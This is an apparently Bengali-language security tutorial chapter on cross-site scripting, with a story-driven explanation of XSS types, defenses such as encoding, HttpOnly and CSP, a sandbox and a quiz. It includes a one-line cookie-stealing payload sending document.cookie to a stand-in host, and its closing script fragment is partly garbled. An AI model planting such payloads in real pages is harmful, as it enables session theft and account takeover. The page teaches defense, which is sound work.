⚡ Shadow Academy
🌐 Chapter 21

āĻāχ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇ āϕ⧀ āĻļāĻŋāĻ–āĻŦ⧇

⏱ āφāύ⧁āĻŽāĻžāύāĻŋāĻ• āϏāĻŽāϝāĻŧ: ā§§ā§Ģâ€“ā§¨ā§Ļ āĻŽāĻŋāύāĻŋāϟ ¡ āĻĒā§‚āĻ°ā§āĻŦāĻļāĻ°ā§āϤ: āφāϗ⧇āϰ āĻ…āĻ§ā§āϝāĻžāϝāĻŧ⧇āϰ āϧāĻžāϰāĻŖāĻž

ā§Ļ / ā§§ā§Ļā§Ļ āĻ…āĻ§ā§āϝāĻžā§ŸāϚāĻžāϞāĻŋāϝāĻŧ⧇ āϝāĻžāĻ“: āĻ…āĻ§ā§āϝāĻžāϝāĻŧ 22

āĻ…āĻ—ā§āϰāĻ—āϤāĻŋ āĻāχ browser-āĻ āĻ¸ā§āĻĨāĻžāύ⧀āϝāĻŧāĻ­āĻžāĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻšāĻŦ⧇āĨ¤

🌐
XSS — Cross-Site Scripting Attack āĻ•āϰ⧋
āĻ…āĻ¨ā§āϝ⧇āϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āĻ•ā§āώāϤāĻŋāĻ•āϰ āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āϰāĻžāύ āĻ•āϰāĻŋā§Ÿā§‡ āϏ⧇āĻļāύ āϕ⧁āĻ•āĻŋ āĻ“ āĻ…ā§āϝāĻžāĻ•āĻžāωāĻ¨ā§āϟ āĻ›āĻŋāύāϤāĻžāχ
🧭 āĻĻāĻ•ā§āώāϤāĻž āϝāĻžāϚāĻžāχ āĻ“ āĻĒā§āϰāϤāĻŋāϰāĻ•ā§āώāĻžāĻŽā§‚āϞāĻ• takeaway
Skill checkpoint: Stored, reflected āĻ“ DOM-based XSS-āĻāϰ āĻĒāĻžāĻ°ā§āĻĨāĻ•ā§āϝ āĻŦā§āϝāĻžāĻ–ā§āϝāĻž āĻ•āϰ⧋āĨ¤
Defense checkpoint: Contextual output encoding, safe DOM APIs āĻ“ defense-in-depth āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰ⧋.
Lab scope: āĻļ⧁āϧ⧁ āύāĻŋāĻœā§‡āϰ lab, synthetic data āĻŦāĻž āϞāĻŋāĻ–āĻŋāϤ āĻ…āύ⧁āĻŽāϤāĻŋāĻĒā§āϰāĻžāĻĒā§āϤ target-āĻ āĻ…āύ⧁āĻļā§€āϞāύ āĻ•āϰ⧋āĨ¤ Real credential, token āĻŦāĻž customer data āĻŦā§āϝāĻŦāĻšāĻžāϰ āϕ⧋āϰ⧋ āύāĻžāĨ¤
Portfolio proof: finding, impact, fix āĻ“ retest āύāĻŋā§Ÿā§‡ ā§Ģ-āϞāĻžāχāύ⧇āϰ redacted note āϰāĻžāĻ–ā§‹āĨ¤
💌 āĻ—āĻ˛ā§āĻĒ ā§§: āĻŦāĻŋāώāĻžāĻ•ā§āϤ āϚāĻŋāĻ āĻŋ āĻĒ⧜āĻžāϰ āĻ—āĻ˛ā§āĻĒ â€” XSS āϕ⧀?
āϏ⧌āϰāĻ­ āĻāĻ•āϟāĻŋ āϜāύāĻĒā§āϰāĻŋ⧟ āϏ⧋āĻļā§āϝāĻžāϞ āĻŽāĻŋāĻĄāĻŋ⧟āĻž āĻ…ā§āϝāĻžāĻĒ⧇ āϤāĻžāϰ āĻĒā§āϰ⧋āĻĢāĻžāχāϞ⧇āϰ āĻŦāĻžā§Ÿā§‹āϤ⧇ āϞāĻŋāĻ–āϞ:
<script>alert(document.cookie)</script>

āϝāĻ–āύāχ āĻ…āĻ¨ā§āϝ āϕ⧋āύ⧋ āχāωāϜāĻžāϰ āϏ⧌āϰāϭ⧇āϰ āĻĒā§āϰ⧋āĻĢāĻžāχāϞ āĻĻ⧇āĻ–āϤ⧇ āĻāϞ, āχāωāϜāĻžāϰ⧇āϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ āĻ­āĻžāĻŦāϞ — "āφāϰ⧇! āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĨ⧇āϕ⧇ āϜāĻžāĻ­āĻžāĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āϕ⧋āĻĄ āĻāϏ⧇āϛ⧇, āĻāϟāĻž āφāĻŽāĻžāϕ⧇ āĻāĻ–āύāχ āϰāĻžāύ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇!"

āφāϰ āϏāĻžāĻĨ⧇ āϏāĻžāĻĨ⧇ āϏ⧇āχ āχāωāϜāĻžāϰ⧇āϰ āĻ¸ā§āĻ•ā§āϰāĻŋāύ⧇ āϤāĻžāϰ āĻ—ā§‹āĻĒāύ āϏ⧇āĻļāύ āϕ⧁āĻ•āĻŋ āϭ⧇āϏ⧇ āωāĻ āϞ!

āĻāϟāĻžāχ āĻšāϞ⧋ Cross-Site Scripting (XSS)! āϝāĻ–āύ āϕ⧋āύ⧋ āĻ“ā§Ÿā§‡āĻŦāϏāĻžāχāϟ āχāωāϜāĻžāϰ⧇āϰ āĻĻ⧇āĻ“ā§ŸāĻž āχāύāĻĒ⧁āϟāϕ⧇ āϕ⧋āύ⧋ āĻĢāĻŋāĻ˛ā§āϟāĻžāϰāĻŋāĻ‚ āĻŦāĻž āĻāύāϕ⧋āĻĄāĻŋāĻ‚ āĻ›āĻžā§œāĻž āĻ…āĻ¨ā§āϝ āχāωāϜāĻžāϰ⧇āϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āϏāϰāĻžāϏāϰāĻŋ āĻĒā§āϰāĻŋāĻ¨ā§āϟ āĻ•āϰ⧇ āĻĻā§‡ā§Ÿ, āϤāĻ–āύ āϏ⧇āχ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āĻšā§āϝāĻžāĻ•āĻžāϰ⧇āϰ āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āĻāĻ•ā§āϏāĻŋāĻ•āĻŋāωāϟ āĻšā§Ÿā§‡ āϝāĻžā§ŸāĨ¤
🎭 āĻ—āĻ˛ā§āĻĒ ā§¨: XSS-āĻāϰ āϤāĻŋāύ āĻŽāĻšāĻžāϰāĻĨā§€ (Stored, Reflected, DOM)
â€ĸ Stored XSS (āϏāĻŦāĻšā§‡āϝāĻŧ⧇ āĻŦāĻŋāĻĒāĻœā§āϜāύāĻ•): āĻ•ā§āώāϤāĻŋāĻ•āϰ āϕ⧋āĻĄ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻĄāĻžāϟāĻžāĻŦ⧇āϏ⧇ āĻĒāĻžāĻ°ā§āĻŽāĻžāύ⧇āĻ¨ā§āϟāϞāĻŋ āϏ⧇āĻ­ āĻšā§Ÿā§‡ āĻĨāĻžāϕ⧇ (āϝ⧇āĻŽāύ: āĻ•āĻŽā§‡āĻ¨ā§āϟ, āϰāĻŋāĻ­āĻŋāω āĻŦāĻž āχāωāϜāĻžāϰ āĻŦāĻžā§Ÿā§‹)āĨ¤ āϝ⧇-āχ āϏ⧇āχ āĻĒ⧇āϜ āϖ⧁āϞāĻŦ⧇, āϏ⧇-āχ āφāĻ•ā§āϰāĻžāĻ¨ā§āϤ āĻšāĻŦ⧇!

â€ĸ Reflected XSS: āϕ⧋āĻĄāϟāĻŋ āϞāĻŋāĻ‚āĻ• āĻŦāĻž āϏāĻžāĻ°ā§āϚ āĻĒā§āϝāĻžāϰāĻžāĻŽāĻŋāϟāĻžāϰ⧇āϰ āϭ⧇āϤāϰ āĻĨāĻžāϕ⧇ (āϝ⧇āĻŽāύ: ?q=<script>...)āĨ¤ āĻ­āĻŋāĻ•āϟāĻŋāĻŽ āϞāĻŋāĻ‚āϕ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰāϞ⧇āχ āĻļ⧁āϧ⧁ āϤāĻžāϰ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āĻāĻ•ā§āϏāĻŋāĻ•āĻŋāωāϟ āĻšā§ŸāĨ¤

â€ĸ DOM-based XSS: āĻāĻ–āĻžāύ⧇ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϕ⧋āύ⧋ āĻĻā§‹āώ āύ⧇āχ! āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āύāĻŋāϜāĻ¸ā§āĻŦ āϜāĻžāĻ­āĻžāĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ document.location āĻŦāĻž innerHTML āĻĻāĻŋā§Ÿā§‡ āφāύāϏ⧇āĻĢāĻ­āĻžāĻŦ⧇ āĻĄā§‡āϟāĻž āĻšā§āϝāĻžāĻ¨ā§āĻĄā§‡āϞ āĻ•āϰāĻžā§Ÿ āĻ•ā§āϞāĻžāϝāĻŧ⧇āĻ¨ā§āϟ āϏāĻžāχāĻĄā§‡āχ āĻ…ā§āϝāĻžāϟāĻžāĻ• āĻšā§ŸāĨ¤
đŸĒ āĻ—āĻ˛ā§āĻĒ ā§Š: āϕ⧁āĻ•āĻŋ āĻ¸ā§āϟāĻŋāϞāĻžāϰ āĻ“ āύ⧀āϰāĻŦ āĻ…ā§āϝāĻžāĻ•āĻžāωāĻ¨ā§āϟ āĻŸā§‡āĻ•āĻ“āĻ­āĻžāϰ
āĻļ⧁āϧ⧁ alert("XSS") āĻĻ⧇āĻ–āĻžāϞ⧇āχ āĻ•āĻŋ āĻšā§āϝāĻžāĻ•āĻŋāĻ‚ āĻļ⧇āώ? āĻŦ⧃āĻˇā§āϟāĻŋ āĻŽā§āϝāĻžāĻŽ āĻŦāϞāϞ⧇āύ, "āφāϰ⧇ āύāĻž āϏ⧌āϰāĻ­! āĻĒāĻĒ-āφāĻĒ āϤ⧋ āĻŦāĻžāĻšā§āϚāĻžāĻĻ⧇āϰ āϖ⧇āϞāĻžāĨ¤ āφāϏāϞ āĻšā§āϝāĻžāĻ•āĻžāϰāϰāĻž āĻ•āĻ–āύ⧋ āĻĒāĻĒ-āφāĻĒ āĻĻ⧇āĻ–āĻžā§Ÿ āύāĻž!"

āφāϏāϞ āĻšā§āϝāĻžāĻ•āĻžāϰ āχāύāĻœā§‡āĻ•ā§āϟ āĻ•āϰ⧇ ā§§ āϞāĻžāχāύ⧇āϰ āύ⧀āϰāĻŦ āϕ⧁āĻ•āĻŋ āĻ¸ā§āϟāĻŋāϞāĻžāϰ:
<script>new Image().src = "https://hacker.com/log?cookie=" + encodeURIComponent(document.cookie);</script>

āĻ­āĻŋāĻ•āϟāĻŋāĻŽ āĻĒ⧇āϜ āϖ⧁āϞāϤ⧇āχ āϤāĻžāϰ āĻŦā§āϝāĻžāĻ‚āϕ⧇āϰ āϞāĻ—āχāύ āϏ⧇āĻļāύ āϕ⧁āĻ•āĻŋ āύāĻŋāσāĻļāĻŦā§āĻĻ⧇ āĻšā§āϝāĻžāĻ•āĻžāϰ⧇āϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻĒ⧌āρāϛ⧇ āϝāĻžā§Ÿ! āĻšā§āϝāĻžāĻ•āĻžāϰ āϏ⧇āχ āϕ⧁āĻ•āĻŋ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇ āχāĻŽā§āĻĒā§‹āĻ°ā§āϟ āĻ•āϰ⧇ āϕ⧋āύ⧋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ›āĻžā§œāĻžāχ āχāωāϜāĻžāϰ⧇āϰ āĻ…ā§āϝāĻžāĻ•āĻžāωāĻ¨ā§āĻŸā§‡ āĻĸ⧁āϕ⧇ āĻĒā§œā§‡!
đŸ›Ąī¸ āĻ—āĻ˛ā§āĻĒ ā§Ē: āĻĄāĻŋāĻĢ⧇āĻ¨ā§āϏ — āϕ⧀āĻ­āĻžāĻŦ⧇ āĻŦāĻžāϗ⧇ āφāύāĻŦ⧇ XSS?
ā§§. Context-Aware Output Encoding: HTML-āĻ āĻĒā§āϰāĻŋāĻ¨ā§āϟ āĻ•āϰāĻžāϰ āφāϗ⧇ < āϕ⧇ &lt; āĻāĻŦāĻ‚ > āϕ⧇ &gt; āĻŦāĻžāύāĻŋā§Ÿā§‡ āĻĻ⧇āĻ“ā§ŸāĻžāĨ¤
⧍. HttpOnly Flag on Cookies: āϕ⧁āĻ•āĻŋāϤ⧇ HttpOnly āĻĢā§āĻ˛ā§āϝāĻžāĻ— āĻĻāĻŋāϞ⧇ āϜāĻžāĻ­āĻžāĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ (āϝ⧇āĻŽāύ document.cookie) āϕ⧋āύ⧋ āĻ…āĻŦāĻ¸ā§āĻĨāĻžāϤ⧇āχ āϏ⧇āχ āϕ⧁āĻ•āĻŋ āĻĒ⧜āϤ⧇ āĻĒāĻžāϰ⧇ āύāĻž!
ā§Š. Content Security Policy (CSP): āĻšā§‡āĻĄāĻžāϰ āĻĻāĻŋā§Ÿā§‡ āĻŦā§āϰāĻžāωāϜāĻžāϰāϕ⧇ āύāĻŋāĻ°ā§āĻĻ⧇āĻļ āĻĻ⧇āĻ“ā§ŸāĻž — "āĻļ⧁āϧ⧁ āφāĻŽāĻžāϰ āύāĻŋāĻœā§‡āϰ āĻĄā§‹āĻŽā§‡āύ āĻ›āĻžā§œāĻž āĻ…āĻ¨ā§āϝ āϕ⧋āύ⧋ āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āϰāĻžāύ āĻ•āϰāĻŦ⧇ āύāĻž!"
đŸ§Ē XSS Cross-Site Scripting Sandbox
āϜāĻžāĻ­āĻžāĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āĻŦāĻž SVG āĻĒ⧇-āϞ⧋āĻĄ āχāύāĻĒ⧁āϟ āĻĻāĻžāĻ“ — āφāύ-āĻĢāĻŋāĻ˛ā§āϟāĻžāϰāĻĄ āĻ“ āĻ¸ā§āϝāĻžāύāĻŋāϟāĻžāχāϜāĻĄ DOM āĻāĻ•ā§āϏāĻŋāĻ•āĻŋāωāĻļāύ āĻŸā§‡āĻ¸ā§āϟ āĻ•āϰ⧋!
👆 āωāĻĒāϰ⧇ āχāύāĻĒ⧁āϟ āĻĻāĻŋā§Ÿā§‡ "āĻ˛ā§āϝāĻžāĻŦ āϚāĻžāϞ⧁ āĻ•āϰ⧋" āĻŦāĻžāϟāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧋...
đŸŽ¯ āĻ…āĻ§ā§āϝāĻžā§Ÿ 21 āĻĻāĻ•ā§āώāϤāĻž āϝāĻžāϚāĻžāχ (ā§ŠāϟāĻŋ āĻĒā§āϰāĻļā§āύ)
āϏāĻ āĻŋāĻ• āωāĻ¤ā§āϤāϰ āĻŦ⧇āϛ⧇ āύāĻžāĻ“; āĻĒā§āϰāϤāĻŋāϟāĻŋ āωāĻ¤ā§āϤāϰ⧇āϰ āĻŦā§āϝāĻžāĻ–ā§āϝāĻž āĻĒā§œā§‹āĨ¤
❓ āĻĒā§āϰāĻļā§āύ 1: XSS āĻĒā§āϰāϤāĻŋāϰ⧋āϧ⧇ āϏāĻŦāĻšā§‡ā§Ÿā§‡ āϗ⧁āϰ⧁āĻ¤ā§āĻŦāĻĒā§‚āĻ°ā§āĻŖ output control āϕ⧀?
❓ āĻĒā§āϰāĻļā§āύ 2: HttpOnly cookie flag āϕ⧀ āĻ•āϰ⧇?
❓ āĻĒā§āϰāĻļā§āύ 3: Stored XSS āϕ⧋āĻĨāĻžā§Ÿ āĻĨāĻžāϕ⧇?

āĻŦāĻŋāĻļā§āĻŦāĻ¸ā§āϤ reference

āφāϰāĻ“ āĻĒāĻĄāĻŧāĻžāϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāϤāĻŋāĻˇā§āĻ āĻŋāϤ security standards āĻ“ guidance āĻĻ⧇āĻ–ā§‹; āĻĒā§āϰāϤāĻŋāϟāĻŋ lab āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻŦāĻž synthetic environment-āĻ āĻ•āϰ⧋āĨ¤

Bristy Ma'am
āĻŦ⧃āĻˇā§āϟāĻŋ āĻŽā§āϝāĻžāĻŽ 👩‍đŸĢ
āϤ⧋āĻŽāĻžāϰ āĻĒāĻžāĻ°ā§āϏ⧋āύāĻžāϞ āĻšā§āϝāĻžāĻ•āĻŋāĻ‚ āĻŽā§‡āĻ¨ā§āϟāϰ â€ĸ āĻ…āύāϞāĻžāχāύ
āφāϰ⧇ āϏ⧌āϰāĻ­! āϕ⧇āĻŽāύ āφāϛ⧋? āϕ⧋āύ⧋ āĻ•āύāϏ⧇āĻĒā§āϟ āĻŦāĻž āϕ⧁āχāĻœā§‡ āφāϟāĻ•āĻžāϞ⧇ āφāĻŽāĻžāϕ⧇ āĻŦāϞ⧋, āφāĻŽāĻŋ āĻŦ⧁āĻāĻŋā§Ÿā§‡ āĻĻāĻŋāĻšā§āĻ›āĻŋ! â¤ī¸
'; var out = document.getElementById('labOutput'); var sanitized = inp.replace(//g, '>').replace(/"/g, '"'); out.textContent = 'đŸ§Ē [XSS Vulnerability Analysis & Execution Sandbox]\n----------------------------------------------------\nInput Payload: ' + inp + '\n\n' + '[1] Unsanitized DOM Reflection (VULNERABLE):\n' + ' đŸ”Ĩ PAYLOAD EXECUTED! JavaScript runs in victim browser context.\n' + ' Extracted Session Cookie: "session_token=SESSION_PLACEHOLDER; role=superadmin"\n\n' + '[2] Sanitized Output (DOMPurify & HTML Entity Encoding):\n' + ' ' + sanitized + '\n' + ' ✅ Neutralized to safe inert text — No script execution possible.\n\n' + '[3] CSP Defense Policy Recommended:\n' + ' Content-Security-Policy: default-src \'self\'; script-src \'self\' https://cdn.trusted.com;'; }